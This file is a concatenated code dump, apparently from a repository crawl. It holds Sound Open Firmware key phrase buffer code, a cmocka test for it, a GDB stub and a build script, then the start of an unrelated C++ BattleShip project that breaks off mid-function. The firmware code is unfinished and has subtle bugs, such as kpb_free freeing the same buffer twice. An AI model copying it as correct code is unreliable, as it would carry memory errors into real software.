static void kpb_init_draining(struct comp_data *kpb, struct kpb_client *cli);
static uint64_t kpb_draining_task(void *arg);
static void kpb_buffer_data(struct comp_data *kpb, struct comp_buffer *source);
/**
* \brief Create a key phrase buffer component.
* \param[in] comp - generic ipc component pointer.
*
* \return: a pointer to newly created KPB component.
*/
static struct comp_dev *kpb_new(struct sof_ipc_comp *comp)
{
struct comp_dev *dev;
struct sof_ipc_comp_kpb *kpb;
struct sof_ipc_comp_kpb *ipc_kpb = (struct sof_ipc_comp_kpb *)comp;
struct comp_data *cd;
trace_kpb("kpb_new()");
/* Validate input parameters */
if (IPC_IS_SIZE_INVALID(ipc_kpb->config)) {
IPC_SIZE_ERROR_TRACE(TRACE_CLASS_KPB, ipc_kpb->config);
return NULL;
}
if (ipc_kpb->no_channels > KPB_MAX_SUPPORTED_CHANNELS) {
trace_kpb_error("kpb_new() error: "
"no of channels exceeded the limit");
return NULL;
}
if (ipc_kpb->history_depth > KPB_MAX_BUFFER_SIZE) {
trace_kpb_error("kpb_new() error: "
"history depth exceeded the limit");
return NULL;
}
if (ipc_kpb->sampling_freq != KPB_SAMPLNG_FREQUENCY) {
trace_kpb_error("kpb_new() error: "
"requested sampling frequency not supported");
return NULL;
}
if (ipc_kpb->sampling_width != KPB_SAMPLING_WIDTH) {
trace_kpb_error("kpb_new() error: "
"requested sampling width not supported");
return NULL;
}
dev = rzalloc(RZONE_RUNTIME, SOF_MEM_CAPS_RAM,
COMP_SIZE(struct sof_ipc_comp_kpb));
if (!dev)
return NULL;
kpb = (struct sof_ipc_comp_kpb *)&dev->comp;
memcpy(kpb, ipc_kpb, sizeof(struct sof_ipc_comp_kpb));
cd = rzalloc(RZONE_RUNTIME, SOF_MEM_CAPS_RAM, sizeof(*cd));
if (!cd) {
rfree(dev);
return NULL;
}
comp_set_drvdata(dev, cd);
dev->state = COMP_STATE_READY;
return dev;
}
/**
* \brief Reclaim memory of a key phrase buffer.
* \param[in] dev - component device pointer.
*
* \return none.
*/
static void kpb_free(struct comp_dev *dev)
{
struct comp_data *kpb = comp_get_drvdata(dev);
trace_kpb("kpb_free()");
/* reclaim internal buffer memory */
rfree(kpb->his_buf_lp.sta_addr);
rfree(kpb->his_buf_lp.sta_addr);
/* reclaim device & component data memory */
rfree(kpb);
rfree(dev);
}
/**
* \brief Trigger a change of KPB state.
* \param[in] dev - component device pointer.
* \param[in] cmd - command type.
* \return none.
*/
static int kpb_trigger(struct comp_dev *dev, int cmd)
{
trace_kpb("kpb_trigger()");
return comp_set_state(dev, cmd);
}
/**
* \brief Prepare key phrase buffer.
* \param[in] dev - kpb component device pointer.
*
* \return integer representing either:
* 0 -> success
* -EINVAL -> failure.
*/
static int kpb_prepare(struct comp_dev *dev)
{
struct comp_data *cd = comp_get_drvdata(dev);
int ret = 0;
int i;
struct list_item *blist;
struct comp_buffer *sink;
trace_kpb("kpb_prepare()");
ret = comp_set_state(dev, COMP_TRIGGER_PREPARE);
if (ret < 0)
return ret;
if (ret == COMP_STATUS_STATE_ALREADY_SET)
return PPL_STATUS_PATH_STOP;
cd->no_of_clients = 0;
/* allocate history_buffer/s */
#if KPB_NO_OF_HISTORY_BUFFERS == 2
cd->his_buf_hp.sta_addr = rballoc(RZONE_RUNTIME, SOF_MEM_CAPS_RAM,
KPB_MAX_BUFFER_SIZE - LPSRAM_SIZE);
cd->his_buf_lp.sta_addr = rballoc(RZONE_RUNTIME, SOF_MEM_CAPS_LP,
LPSRAM_SIZE);
if (!cd->his_buf_hp.sta_addr || !cd->his_buf_lp.sta_addr) {
trace_kpb_error("Failed to allocate space for "
"KPB bufefrs");
return -ENOMEM;
}
cd->his_buf_hp.end_addr = cd->his_buf_hp.sta_addr +
(KPB_MAX_BUFFER_SIZE - LPSRAM_SIZE);
cd->his_buf_lp.end_addr = cd->his_buf_lp.sta_addr +
LPSRAM_SIZE;
#elif KPB_NO_OF_HISTORY_BUFFERS == 1
cd->his_buf_hp.sta_addr = rballoc(RZONE_RUNTIME, SOF_MEM_CAPS_RAM,
KPB_MAX_BUFFER_SIZE);
if (!cd->his_buf_hp.sta_addr) {
trace_kpb_error("Failed to allocate space for "
"KPB bufefrs");
return -ENOMEM;
}
cd->his_buf_hp.end_addr = cd->his_buf_hp.sta_addr + KPB_MAX_BUFFER_SIZE;
#else
#error "Wrong number of key phrase buffers configured"
#endif
/* TODO: zeroes both buffers */
/* initialize clients data */
for (i = 0; i < KPB_MAX_NO_OF_CLIENTS; i++) {
cd->clients[i].state = KPB_CLIENT_UNREGISTERED;
cd->clients[i].r_ptr = NULL;
}
/* initialize KPB events */
cd->kpb_events.id = NOTIFIER_ID_KPB_CLIENT_EVT;
cd->kpb_events.cb_data = cd;
cd->kpb_events.cb = kpb_event_handler;
/* register KPB for async notification */
notifier_register(&cd->kpb_events);
/* initialie draining task */
schedule_task_init(&cd->draining_task, SOF_SCHEDULE_EDF, 0,
kpb_draining_task, cd, 0, 0);
/* search for the channel selector sink.
* NOTE! We assume here that channel selector component device
* is connected to the KPB sinks
*/
list_for_item(blist, &dev->bsink_list) {
sink = container_of(blist, struct comp_buffer, source_list);
if (!sink->sink) {
ret = -EINVAL;
break;
}
if (sink->sink->comp.type == SOF_COMP_SELECTOR) {
/* we found proper sink */
cd->rt_sink = sink;
break;
}
}
return ret;
}
/**
* \brief Used to pass standard and bespoke commands (with data) to component.
* \param[in,out] dev - Volume base component device.
* \param[in] cmd - Command type.
* \param[in,out] data - Control command data.
* \return Error code.
*/
static int kpb_cmd(struct comp_dev *dev, int cmd, void *data,
int max_data_size)
{
int ret = 0;
return ret;
}
static void kpb_cache(struct comp_dev *dev, int cmd)
{
/* TODO: writeback history buffer */
}
static int kpb_reset(struct comp_dev *dev)
{
/* TODO: what data of KPB should we reset here? */
return 0;
}
/**
* \brief Copy real time input stream into sink buffer,
* and in the same time buffers that input for
* later use by some of clients.
*
*\param[in] dev - kpb component device pointer.
*
* \return integer representing either:
* 0 - success
* -EINVAL - failure.
*/
static int kpb_copy(struct comp_dev *dev)
{
int ret = 0;
int update_buffers = 0;
struct comp_data *kpb = comp_get_drvdata(dev);
struct comp_buffer *source;
struct comp_buffer *sink;
tracev_kpb("kpb_copy()");
/* get source and sink buffers */
source = list_first_item(&dev->bsource_list, struct comp_buffer,
sink_list);
sink = kpb->rt_sink;
/* process source data */
/* check if there are valid pointers */
if (source && sink) {
if (!source->r_ptr || !sink->w_ptr) {
return -EINVAL;
} else if (sink->free < kpb->sink_period_bytes) {
trace_kpb_error("kpb_copy() error: "
"sink component buffer"
" has not enough free bytes for copy");
comp_overrun(dev, sink, kpb->sink_period_bytes, 0);
/* xrun */
return -EIO;
} else if (source->avail < kpb->source_period_bytes) {
/* xrun */
trace_kpb_error("kpb_copy() error: "
"source component buffer"
" has not enough data available");
comp_underrun(dev, source, kpb->source_period_bytes,
0);
return -EIO;
} else {
/* sink and source are both ready and have space */
/* TODO: copy sink or source period data here? */
memcpy(sink->w_ptr, source->r_ptr,
kpb->sink_period_bytes);
/* signal update source & sink data */
update_buffers = 1;
}
/* buffer source data internally for future use by clients */
if (source->avail <= KPB_MAX_BUFFER_SIZE) {
/* TODO: should we copy what is available or just
* a small portion of it?
*/
kpb_buffer_data(kpb, source);
}
} else {
ret = -EIO;
}
if (update_buffers) {
comp_update_buffer_produce(sink, kpb->sink_period_bytes);
comp_update_buffer_consume(source, kpb->sink_period_bytes);
}
return ret;
}
/**
* \brief Buffer real time data stream in
* the internal buffer.
*
* \param[in] kpb - KPB component data pointer.
* \param[in] source pointer to the buffer source.
*
* \return none
*/
static void kpb_buffer_data(struct comp_data *kpb, struct comp_buffer *source)
{
trace_kpb("kpb_buffer_data()");
int size_to_copy = kpb->source_period_bytes;
int space_avail;
struct history_buffer *hb;
#if KPB_NO_OF_HISTORY_BUFFERS == 2
while (size_to_copy) {
hb = (kpb->his_buf_lp.state == KPB_BUFFER_FREE) ?
&kpb->his_buf_lp : &kpb->his_buf_hp;
space_avail = (int)hb->end_addr - (int)hb->w_ptr;
if (size_to_copy > space_avail) {
memcpy(hb->w_ptr, source->r_ptr, space_avail);
size_to_copy = size_to_copy - space_avail;
hb->w_ptr = hb->sta_addr;
hb->state = KPB_BUFFER_FULL;
if (hb->id == KPB_LP)
kpb->his_buf_hp.state = KPB_BUFFER_FREE;
else
kpb->his_buf_lp.state = KPB_BUFFER_FREE;
} else {
memcpy(hb->w_ptr, source->r_ptr, size_to_copy);
hb->w_ptr += size_to_copy;
size_to_copy = 0;
}
}
#elif KPB_NO_OF_HISTORY_BUFFERS == 1
hb = &kpb->his_buf_hp;
space_avail = (int)hb->end_addr - (int)hb->w_ptr;
if (size_to_copy > space_avail) {
/* We need to split copying into two parts
* and wrap buffer pointer
*/
memcpy(hb->w_ptr, source->r_ptr, space_avail);
size_to_copy = size_to_copy - space_avail;
hb->w_ptr = hb->sta_addr;
memcpy(hb->w_ptr, source->r_ptr, size_to_copy);
hb->w_ptr += size_to_copy;
size_to_copy = 0;
} else {
memcpy(kpb->w_ptr, source->data_ptr, size_to_copy);
kpb->w_ptr += size_to_copy;
size_to_copy = 0;
}
#else
#error "Wrong number of key phrase buffers configured"
#endif
}
/**
* \brief Main event dispatcher.
* \param[in] message - not used.
* \param[in] cb_data - KPB component internal data.
* \param[in] event_data - event specific data.
* \return none.
*/
static void kpb_event_handler(int message, void *cb_data, void *event_data)
{
(void)message;
struct comp_data *kpb = (struct comp_data *)cb_data;
struct kpb_event_data *evd = (struct kpb_event_data *)event_data;
struct kpb_client *cli = (struct kpb_client *)evd->client_data;
switch (evd->event_id) {
case KPB_EVENT_REGISTER_CLIENT:
kpb_register_client(kpb, cli);
break;
case KPB_EVENT_UNREGISTER_CLIENT:
/*TODO*/
break;
case KPB_EVENT_BEGIN_DRAINING:
kpb_init_draining(kpb, cli);
break;
case KPB_EVENT_STOP_DRAINING:
/*TODO*/
break;
default:
trace_kpb_error("kpb_cmd() error: "
"unsupported command");
break;
}
}
/**
* \brief Register clients in the system.
*
* \param[in] dev - kpb device component pointer.
* \param[in] cli - pointer to KPB client's data.
*
* \return integer representing either:
* 0 - success
* -EINVAL - failure.
*/
static int kpb_register_client(struct comp_data *kpb, struct kpb_client *cli)
{
int ret = 0;
trace_kpb("kpb_register_client()");
if (!cli) {
trace_kpb_error("kpb_register_client() error: "
"no client data");
return -EINVAL;
}
/* Do we have a room for a new client? */
if (kpb->no_of_clients >= KPB_MAX_NO_OF_CLIENTS ||
cli->id >= KPB_MAX_NO_OF_CLIENTS) {
trace_kpb_error("kpb_register_client() error: "
"no free room for client = %u ",
cli->id);
ret = -EINVAL;
} else if (kpb->clients[cli->id].state != KPB_CLIENT_UNREGISTERED) {
trace_kpb_error("kpb_register_client() error: "
"client = %u already registered",
cli->id);
ret = -EINVAL;
} else {
/* client accepted, let's store his data */
kpb->clients[cli->id].id = cli->id;
kpb->clients[cli->id].history_depth = cli->history_depth;
kpb->clients[cli->id].sink = cli->sink;
kpb->clients[cli->id].r_ptr = NULL;
kpb->clients[cli->id].state = KPB_CLIENT_BUFFERING;
kpb->no_of_clients++;
ret = 0;
}
return ret;
}
/**
* \brief Drain internal buffer into client's sink buffer.
*
* \param[in] kpb - kpb component data.
* \param[in] cli - client's data.
*
* \return integer representing either:
* 0 - success
* -EINVAL - failure.
*/
static void kpb_init_draining(struct comp_data *kpb, struct kpb_client *cli)
{
uint8_t is_sink_ready = (kpb->clients[cli->id].sink->sink->state
== COMP_STATE_ACTIVE) ? 1 : 0;
if (kpb->clients[cli->id].state == KPB_CLIENT_UNREGISTERED) {
/* TODO: possibly move this check to draining task
* the doubt is if HOST managed to change the sink state
* at notofication time
*/
trace_kpb_error("kpb_init_draining() error: "
"requested draining for unregistered client");
} else if (!is_sink_ready) {
trace_kpb_error("kpb_init_draining() error: "
"sink not ready for draining");
} else {
/* add one-time draining task into the scheduler */
schedule_task(&kpb->draining_task, 0, 0, 0);
}
}
static uint64_t kpb_draining_task(void *arg)
{
/* TODO: while loop drainning history buffer accoriding to
* clients request
*/
return 0;
}
struct comp_driver comp_kpb = {
.type = SOF_COMP_KPB,
.ops = {
.new = kpb_new,
.free = kpb_free,
.cmd = kpb_cmd,
.trigger = kpb_trigger,
.copy = kpb_copy,
.prepare = kpb_prepare,
.reset = kpb_reset,
.cache = kpb_cache,
.params = NULL,
},
};
UT_STATIC void sys_comp_kpb_init(void)
{
comp_register(&comp_kpb);
}
DECLARE_COMPONENT(sys_comp_kpb_init);
<file_sep>extern void gdb_init_debug_exception(void);
<file_sep>/*
* Copyright (c) 2019, Intel Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Intel Corporation nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Author: <NAME> <<EMAIL>>
*
* Test KPB internal buffering mechanism.
*/
#include <stdarg.h>
#include <stddef.h>
#include <setjmp.h>
#include <stdint.h>
#include <cmocka.h>
#include <stddef.h>
#include <sof/sof.h>
#include <sof/trace.h>
#include <sof/audio/kpb.h>
#include <sof/audio/component.h>
#include <sof/audio/buffer.h>
#include "kpb_mock.h"
#include <sof/list.h>
/* local data types */
enum kpb_test_type {
KPB_TEST_COPY_TWO_BUFFERS = 0,
KPB_TEST_COPY_ONE_BUFFER,
};
enum kpb_test_buff_type {
KPB_SOURCE_BUFFER = 0,
KPB_SINK_BUFFER,
};
struct test_case {
enum kpb_test_type type;
int no_buffers;
int lp_buff_size;
int hp_buff_size;
int source_period_bytes;
int sink_period_bytes;
};
/* dummy component driver & device */
struct comp_driver kpb_drv_mock;
struct comp_dev *kpb_dev_mock;
struct comp_buffer *source;
struct comp_buffer *sink;
/* dummy memory buffers and data pointers */
void *source_data;
void *sink_data;
void *his_buf_lp;
void *his_buf_hp;
/* local function declarations */
static struct comp_buffer *mock_comp_buffer(void **state,
enum kpb_test_buff_type buff_type);
static struct comp_data *mock_comp_kpb(void **state, void *hp_buf,
void *lp_buf);
static struct comp_dev *mock_comp_dev(void);
static int buffering_test_setup(void **state)
{
struct test_case *test_case_data = (struct test_case *)*state;
int lp_buff_size = test_case_data->lp_buff_size;
int hp_buff_size = test_case_data->hp_buff_size;
int entire_buff_size = hp_buff_size + lp_buff_size;
/* allocate memory for components */
if (test_case_data->no_buffers == 2) {
his_buf_lp = test_malloc(lp_buff_size);
his_buf_hp = test_malloc(hp_buff_size);
} else if (test_case_data->type == KPB_TEST_COPY_ONE_BUFFER) {
his_buf_hp = test_malloc(hp_buff_size);
} else {
return -1;
}
source_data = test_malloc(entire_buff_size);
sink_data = test_malloc(entire_buff_size);
kpb_dev_mock = mock_comp_dev();
/* create mocks */
kpb_dev_mock->private = mock_comp_kpb(state, his_buf_hp, his_buf_lp);
source = mock_comp_buffer(state, KPB_SOURCE_BUFFER);
sink = mock_comp_buffer(state, KPB_SINK_BUFFER);
/* mount coponents for test */
source->source = kpb_dev_mock;
source->sink = kpb_dev_mock;
source->r_ptr = source_data;
sink->w_ptr = sink_data;
kpb_dev_mock->bsource_list.next = &source->sink_list;
kpb_dev_mock->bsink_list.next = &sink->source_list;
((struct comp_data *)kpb_dev_mock->private)->rt_sink = sink;
return 0;
}
static int buffering_test_teardown(void **state)
{
/* free components memory */
struct test_case *test_case_data = (struct test_case *)*state;
struct comp_data *cd = comp_get_drvdata(kpb_dev_mock);
test_free(cd);
test_free(source_data);
test_free(sink_data);
test_free(source);
test_free(sink);
if (test_case_data->type == KPB_TEST_COPY_TWO_BUFFERS) {
test_free(his_buf_lp);
test_free(his_buf_hp);
} else if (test_case_data->type == KPB_TEST_COPY_ONE_BUFFER) {
test_free(his_buf_hp);
} else {
return -1;
}
test_free(kpb_dev_mock);
return 0;
}
static struct comp_dev *mock_comp_dev(void)
{
struct comp_dev *dev = test_malloc(sizeof(struct comp_dev));
dev->is_dma_connected = 0;
return dev;
}
static struct comp_data *mock_comp_kpb(void **state, void *hp_buf,
void *lp_buf)
{
struct comp_data *kpb = test_malloc(sizeof(struct comp_data));
struct test_case *test_case_data = (struct test_case *)*state;
kpb->source_period_bytes = test_case_data->source_period_bytes;
kpb->sink_period_bytes = test_case_data->sink_period_bytes;
if (test_case_data->type == KPB_TEST_COPY_TWO_BUFFERS) {
int lp_buff_size = test_case_data->lp_buff_size;
int hp_buff_size = test_case_data->hp_buff_size;
/* LPSRAM buffer init */
kpb->his_buf_lp.id = KPB_LP;
kpb->his_buf_lp.state = KPB_BUFFER_FREE;
kpb->his_buf_lp.w_ptr = lp_buf;
kpb->his_buf_lp.end_addr = kpb->his_buf_lp.w_ptr + lp_buff_size;
kpb->his_buf_lp.sta_addr = lp_buf;
/* HPSRAM buffer init */
kpb->his_buf_hp.id = KPB_HP;
kpb->his_buf_hp.state = KPB_BUFFER_FREE;
kpb->his_buf_hp.w_ptr = hp_buf;
kpb->his_buf_hp.end_addr = kpb->his_buf_hp.w_ptr + hp_buff_size;
kpb->his_buf_hp.sta_addr = hp_buf;
} else if (test_case_data->type == KPB_TEST_COPY_ONE_BUFFER) {
int hp_buff_size = test_case_data->hp_buff_size;
/* HPSRAM buffer init only */
kpb->his_buf_hp.id = KPB_HP;
kpb->his_buf_hp.state = KPB_BUFFER_FREE;
kpb->his_buf_hp.w_ptr = hp_buf;
kpb->his_buf_hp.end_addr = kpb->his_buf_hp.w_ptr + hp_buff_size;
kpb->his_buf_hp.sta_addr = hp_buf;
} else {
return NULL;
}
return kpb;
}
static struct comp_buffer *mock_comp_buffer(void **state,
enum kpb_test_buff_type buff_type)
{
struct test_case *test_case_data = (struct test_case *)*state;
struct comp_buffer *buffer = test_malloc(sizeof(struct comp_buffer));
buffer->size = test_case_data->lp_buff_size +
test_case_data->hp_buff_size;
switch (buff_type) {
case KPB_SOURCE_BUFFER:
buffer->avail = buffer->size;
buffer->w_ptr = &buffer->w_ptr; /* setup to NULL */
buffer->addr = buffer->r_ptr;
buffer->end_addr = buffer->r_ptr + buffer->size;
break;
case KPB_SINK_BUFFER:
buffer->free = buffer->size;
buffer->r_ptr = &buffer->r_ptr;
buffer->addr = buffer->w_ptr;
buffer->end_addr = buffer->w_ptr + buffer->size;
break;
}
buffer->cb = NULL;
return buffer;
}
/* Mocking comp_register here so we can register our components properly */
int comp_register(struct comp_driver *drv)
{
void *dst;
switch (drv->type) {
case SOF_COMP_KPB:
dst = &kpb_drv_mock;
memcpy(dst, drv, sizeof(struct comp_driver));
break;
default:
return -1;
}
return 0;
}
/* A test case that copies real time stream into KPB internal buffer
* and to real time sink.
*/
static void kpb_test_buffer_real_time_stream(void **state)
{
int i, ret = 0;
struct test_case *test_case_data = (struct test_case *)*state;
int buffer_size = test_case_data->hp_buff_size +
test_case_data->lp_buff_size;
char pattern = 0xAA;
struct comp_buffer *source_test;
struct comp_buffer *sink_test;
char *r_ptr;
/* register KPB component to use its internal functions */
sys_comp_kpb_init();
assert_int_equal(kpb_drv_mock.type, SOF_COMP_KPB);
assert_non_null(kpb_drv_mock.ops.copy);
source_test = list_first_item(&kpb_dev_mock->bsource_list,
struct comp_buffer,
sink_list);
sink_test = list_first_item(&kpb_dev_mock->bsink_list,
struct comp_buffer,
source_list);
assert_ptr_equal(source, source_test);
assert_ptr_equal(sink, sink_test);
/* fiil source buffer with test data */
r_ptr = (char *)source_test->r_ptr;
for (i = 0; i < buffer_size; i++)
(*r_ptr++) = pattern;
/* perform kpb_copy test */
ret = kpb_drv_mock.ops.copy(kpb_dev_mock);
assert_int_equal(ret, 0);
/* verify if source was copied to sink */
assert_memory_equal(source_data,
sink_data,
test_case_data->sink_period_bytes);
if (test_case_data->type == KPB_TEST_COPY_TWO_BUFFERS) {
/* verify if LPSRAM internal buffer was filled properly */
assert_memory_equal(source_data,
his_buf_lp,
test_case_data->lp_buff_size);
/* verify if HPSRAM internal buffer was filled properly */
assert_memory_equal(source_data,
his_buf_hp,
test_case_data->hp_buff_size);
} else if (test_case_data->type == KPB_TEST_COPY_ONE_BUFFER) {
/* verify if HPSRAM internal buffer was filled properly */
assert_memory_equal(source_data,
his_buf_hp,
test_case_data->hp_buff_size);
}
}
/* always successful test */
static void null_test_success(void **state)
{
(void)state;
}
/* test main function */
int main(void)
{
struct CMUnitTest tests[3];
struct test_case internal_double_buffering = {
.type = KPB_TEST_COPY_TWO_BUFFERS,
.no_buffers = 2,
.lp_buff_size = 100,
.hp_buff_size = 20,
.source_period_bytes = 120,
.sink_period_bytes = 120,
};
struct test_case internal_single_buffering = {
.type = KPB_TEST_COPY_ONE_BUFFER,
.no_buffers = 1,
.lp_buff_size = 0,
.hp_buff_size = 120,
.source_period_bytes = 120,
.sink_period_bytes = 120,
};
tests[0].name = "dummy, always successful test";
tests[0].test_func = null_test_success;
tests[0].initial_state = NULL;
tests[0].setup_func = NULL;
tests[0].teardown_func = NULL;
tests[1].name = "KPB real time copy and buffering (Double Buffer)";
tests[1].test_func = kpb_test_buffer_real_time_stream;
tests[1].initial_state = &internal_double_buffering;
tests[1].setup_func = buffering_test_setup;
tests[1].teardown_func = buffering_test_teardown;
tests[2].name = "KPB real time copy and buffering (Single Buffer)";
tests[2].test_func = kpb_test_buffer_real_time_stream;
tests[2].initial_state = &internal_single_buffering;
tests[2].setup_func = buffering_test_setup;
tests[2].teardown_func = buffering_test_teardown;
return cmocka_run_group_tests(tests, NULL, NULL);
}
<file_sep># TODO: add gdb to final binary when it's done
add_local_sources(sof init.S debugexception.S)
<file_sep>/*
* Copyright (c) 2018, Intel Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Intel Corporation nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Author: <NAME> <<EMAIL>>
*
* GDB Stub - parse incoming GDB packets, control FW accordingly and provide
* a reply to the GDB server.
*
*/
#include <sof/gdb/gdb.h>
#include <sof/gdb/ringbuffer.h>
#include <arch/gdb/xtensa-defs.h>
#include <sof/string.h>
#include <signal.h>
#include <stdint.h>
#include <xtensa/xtruntime.h>
#include <sof/interrupt.h>
/* local functions */
static int get_hex(unsigned char ch);
static int hex_to_int(unsigned char **ptr, int *int_value);
static void put_packet(unsigned char *buffer);
static void parse_request(void);
static unsigned char *get_packet(void);
static void gdb_log_exception(char *message);
/* main buffers */
static unsigned char remcom_in_buffer[GDB_BUFMAX];
static unsigned char remcom_out_buffer[GDB_BUFMAX];
static const char hex_chars[] = "0123456789abcdef";
/* registers backup conatiners */
int sregs[256];
int aregs[64];
void gdb_init(void)
{
init_buffers();
}
/* scan for the GDB packet sequence $<data>#<check_sum> */
unsigned char *get_packet(void)
{
unsigned char *buffer = &remcom_in_buffer[0];
unsigned char check_sum;
unsigned char xmitcsum;
int count;
unsigned char ch;
/* wait around for the start character, ignore all other characters */
while ((ch = get_debug_char()) != '$')
;
retry:
check_sum = 0;
xmitcsum = -1;
count = 0;
/* now, read until a # or end of buffer is found */
while (count < GDB_BUFMAX - 1) {
ch = get_debug_char();
if (ch == '$')
goto retry;
if (ch == '#')
break;
check_sum = check_sum + ch;
buffer[count] = ch;
count++;
}
/* mark end of the sequence */
buffer[count] = 0x00;
if (ch == '#') {
/* We have request already, now fetch its check_sum */
ch = get_debug_char();
xmitcsum = get_hex(ch) << 4;
ch = get_debug_char();
xmitcsum += get_hex(ch);
if (check_sum != xmitcsum) {
/* TODO: handle wrong check_sums */
put_debug_char('+');
} else {
/* successful transfer */
put_debug_char('+');
/*
* if a sequence char is present
* reply the sequence ID
*/
if (buffer[2] == ':') {
put_debug_char(buffer[0]);
put_debug_char(buffer[1]);
return &buffer[3];
}
}
}
return buffer;
}
/* Convert ch from a request to an int */
static int get_hex(unsigned char ch)
{
if (ch >= 'a' && ch <= 'f')
return ch-'a'+10;
if (ch >= '0' && ch <= '9')
return ch-'0';
if (ch >= 'A' && ch <= 'F')
return ch-'A'+10;
return -1;
}
void gdb_handle_exception(void)
{
gdb_log_exception("Hello from GDB!");
parse_request();
}
void parse_request(void)
{
unsigned char *request;
int addr;
while (1) {
request = get_packet();
/* Log any exception caused by debug exception */
gdb_debug_info(request);
/* Pick incoming request handler */
unsigned char command = *request++;
switch (command) {
/* Continue normal program execution and leave debug handler */
case 'c':
if (hex_to_int(&request, &addr))
sregs[DEBUG_PC] = addr;
/* return from exception */
return;
default:
gdb_log_exception("Unknown GDB command.");
break;
}
/* reply to the request */
put_packet(remcom_out_buffer);
}
}
/*
* While we find nice hex chars, build an int.
* Return number of chars processed.
*/
static int hex_to_int(unsigned char **ptr, int *int_value)
{
int num_chars = 0;
int hex_value;
*int_value = 0;
if (NULL == ptr)
return 0;
while (**ptr) {
hex_value = get_hex(**ptr);
if (hex_value < 0)
break;
*int_value = (*int_value << 4) | hex_value;
num_chars++;
(*ptr)++;
}
return num_chars;
}
/* Send the packet to the buffer */
static void put_packet(unsigned char *buffer)
{
unsigned char check_sum;
int count;
unsigned char ch;
/* $<packet_info>#<check_sum> */
do {
put_debug_char('$');
check_sum = 0;
count = 0;
while ((ch = buffer[count])) {
put_debug_char(ch);
buffer[count] = 0;
check_sum += ch;
count += 1;
}
put_debug_char('#');
put_debug_char(hex_chars[check_sum >> 4]);
put_debug_char(hex_chars[check_sum & 0xf]);
} while (get_debug_char() != '+');
}
static void gdb_log_exception(char *message)
{
while (*message)
put_exception_char(*message++);
}
<file_sep>#!/bin/bash
cd tools
rm -rf build_tools
mkdir build_tools
cd build_tools
cmake ..
make -j$(nproc)
if [[ "$1" == "-t" ]]; then
make tests -j$(nproc)
fi
cd ../../
|
c8bc0075ce9556085f42795a849d6466480ab96b
|
[
"C",
"CMake",
"Shell"
] | 7 |
C
|
xun2z/sof
|
9c11127deb96cd3ee4c568156b724b6aa8a1842e
|
ee18d9132c162728e19f0df1b75f5703d1caa36c
|
refs/heads/master
|
<repo_name>hataeho1/Cpp-Study-2015-2-BattleShip<file_sep>/BattleShip/BattleShip/Main.cpp
#include <stdio.h>
#include "Ship.h"
#include "AirCraft.h"
int main(void)
{
AirCraft airCraft;
airCraft.AddPosition(Point('a','1'));
airCraft.PrintLocation();
printf("[Aircraft] name = %s, hp = %d\n", airCraft.GetName().c_str(), airCraft.GetHp());
}<file_sep>/BattleShip/BattleShip/Ship.h
#pragma once
#include <string>
// x : 'a' ~ 'h' , y : '1' ~ '8'
struct Point
{
Point(){}
Point(char ax, char ay)
{
x = ax;
y = ay;
}
char x;
char y;
};
enum HitResult
{
MISS,
HIT,
DESTROY
};
class Ship
{
public:
Ship();
virtual ~Ship();
HitResult HitCheck(Point pos);
void AddPosition(Point pos);
void AddPosition(char x, char y);
virtual void initialize();
int GetHp() { return m_Hp; }
std::string GetName() { return m_Name; }
protected:
std::string m_Name; // 배 이름
Point m_Point[5]; // 배 좌표
int m_Hp; // 배 hp
public:
bool MapBoundaryCheck(Point pos);
void PrintLocation();
};
<file_sep>/BattleShip/BattleShip/AirCraft.cpp
#include "AirCraft.h"
static const int HP = 5;
static const std::string NAME = "AirCraft";
AirCraft::AirCraft()
{
initialize();
}
AirCraft::~AirCraft()
{
}
void AirCraft::initialize()
{
Ship::initialize();
m_Hp = HP;
